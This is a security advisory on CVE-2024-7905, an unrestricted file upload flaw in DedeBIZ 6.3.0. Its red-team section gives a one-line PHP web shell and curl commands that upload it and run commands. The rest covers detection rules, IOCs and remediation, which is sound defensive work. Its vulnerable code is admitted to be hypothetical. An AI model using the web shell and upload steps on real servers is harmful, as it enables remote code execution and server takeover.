CVE-2024-7905

Executive Summary

CVE-2024-7905 is a critical unrestricted file upload vulnerability in DedeBIZ 6.3.0, specifically within the AdminUpload function of the admin/archives_do.php file. The vulnerability allows an attacker to manipulate the litpic argument to upload arbitrary files, including web shells, to the server. This can lead to complete remote code execution, data exfiltration, and full server compromise. The exploit has been publicly disclosed, and no official patch is available from the vendor. The CVSS score is 0.0 due to incomplete NVD data, but based on the nature of the vulnerability, it is assessed as critical.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a PHP-based web application vulnerability in the DedeBIZ content management system.

CVSS Breakdown & Threat Level

While the official CVSS score is 0.0, a realistic assessment based on the vulnerability description yields the following:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full file read access possible.
• Integrity (I): High (H) – Arbitrary file upload allows modification of server content.
• Availability (A): High (H) – An attacker could delete or overwrite critical files.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Base Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and provides full control over the web server.

Deep Dive & Mechanics

The vulnerability resides in the AdminUpload function within admin/archives_do.php. This function is intended to handle file uploads for article archives. The litpic argument is used to specify the path or filename for the uploaded file. The code fails to properly validate the file type, extension, or content, allowing an attacker to upload any file type, including PHP scripts.

The core issue is a lack of input sanitization and file type restriction. The application likely uses a function like move_uploaded_file() without checking the file extension or MIME type. An attacker can craft a POST request to the vulnerable endpoint with a malicious PHP file (e.g., shell.php) as the litpic parameter.

Attack Flow:

1. Attacker identifies a DedeBIZ 6.3.0 instance.
2. Attacker sends a POST request to /admin/archives_do.php with a crafted multipart form-data containing a PHP web shell.
3. The AdminUpload function processes the request and saves the file to the web root (e.g., /uploads/shell.php).
4. Attacker accesses the uploaded shell via a web browser, gaining remote code execution.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is the only reference. The following is a hypothetical representation of the vulnerable code and a suggested fix.

Vulnerable Code (Hypothetical):

// admin/archives_do.php
function AdminUpload() {
    $litpic = $_FILES['litpic']['name'];
    $tmp_name = $_FILES['litpic']['tmp_name'];
    $upload_dir = './uploads/';
    move_uploaded_file($tmp_name, $upload_dir . $litpic);
    echo "File uploaded successfully.";
}

Patched Code (Suggested):

// admin/archives_do.php
function AdminUpload() {
    $allowed_extensions = ['jpg', 'jpeg', 'png', 'gif', 'bmp'];
    $litpic = $_FILES['litpic']['name'];
    $tmp_name = $_FILES['litpic']['tmp_name'];
    $file_extension = strtolower(pathinfo($litpic, PATHINFO_EXTENSION));
    
    if (!in_array($file_extension, $allowed_extensions)) {
        die("Invalid file type.");
    }
    
    // Additional checks: MIME type, file size, etc.
    $finfo = finfo_open(FILEINFO_MIME_TYPE);
    $mime_type = finfo_file($finfo, $tmp_name);
    finfo_close($finfo);
    
    $allowed_mime_types = ['image/jpeg', 'image/png', 'image/gif', 'image/bmp'];
    if (!in_array($mime_type, $allowed_mime_types)) {
        die("Invalid MIME type.");
    }
    
    $upload_dir = './uploads/';
    $new_filename = uniqid() . '.' . $file_extension;
    move_uploaded_file($tmp_name, $upload_dir . $new_filename);
    echo "File uploaded successfully.";
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A target running DedeBIZ 6.3.0.
• A web shell (e.g., shell.php).

Exploit Steps:

1. Create a PHP web shell:

   <?php system($_GET['cmd']); ?>
   

   Save as shell.php.

2. Use curl to upload the shell:

   curl -X POST -F "litpic=@shell.php" http://target.com/admin/archives_do.php
   

3. Execute commands:

   curl http://target.com/uploads/shell.php?cmd=id
   

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team (Detection & Response)

Detection:

• Monitor HTTP POST requests to /admin/archives_do.php with unusual file extensions (e.g., .php, .phtml, .php5).
• Alert on file uploads to the /uploads/ directory that are not image files.
• Monitor for subsequent requests to uploaded files with query parameters like ?cmd=.

Response:

• Immediately block the attacker's IP address.
• Remove the uploaded malicious file.
• Review server logs for any post-exploitation activity.
• Apply a virtual patch using a WAF rule to block file uploads with non-image extensions.

Indicators of Compromise (IOCs)

• File: /uploads/shell.php (or any .php file in the uploads directory)
• URL Pattern: http://target.com/admin/archives_do.php with POST method and litpic parameter.
• Network Traffic: POST request with Content-Type: multipart/form-data containing a file with .php extension.
• Log Entry: POST /admin/archives_do.php followed by GET /uploads/shell.php?cmd=...
• File Hash (Example): e99a18c428cb38d5f260853678922e03 (MD5 of a simple PHP web shell)

Detection Engineering

YARA Rule

rule CVE_2024_7905_WebShell_Upload {
    meta:
        description = "Detects PHP web shells uploaded via CVE-2024-7905"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-7905"
    strings:
        $php_tag = "<?php"
        $system_func = "system("
        $shell_cmd = "$_GET['cmd']"
    condition:
        $php_tag and $system_func and $shell_cmd
}

Sigma Rule

title: CVE-2024-7905 - Unrestricted File Upload in DedeBIZ
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2024-7905 via file upload to admin/archives_do.php
author: Valters IT
date: 2024/10/27
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/archives_do.php'
        cs-uri-query|contains: 'litpic'
    condition: selection
falsepositives:
    - Legitimate image uploads by administrators
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-7905 - DedeBIZ Unrestricted File Upload"; flow:to_server,established; content:"POST"; http_method; content:"/admin/archives_do.php"; http_uri; content:"litpic"; http_client_body; fileext:".php"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint: If possible, remove or rename admin/archives_do.php until a patch is available.
2. Web Application Firewall (WAF) Rule: Block POST requests to /admin/archives_do.php with file extensions other than allowed image types (jpg, png, gif, bmp).
3. File Upload Restrictions: Modify the server configuration to prevent execution of PHP files in the uploads directory. For Apache, add a .htaccess file:

   <FilesMatch "\.php$">
       Deny from all
   </FilesMatch>
   

4. Input Validation: Implement server-side validation for file uploads, checking both extension and MIME type.

Long-Term Fix:

• Apply the suggested patch to admin/archives_do.php as shown in the "Vulnerable vs. Patched Code" section.
• Upgrade to a patched version of DedeBIZ if one becomes available.
• Conduct a security audit of the entire application for similar vulnerabilities.

Valters IT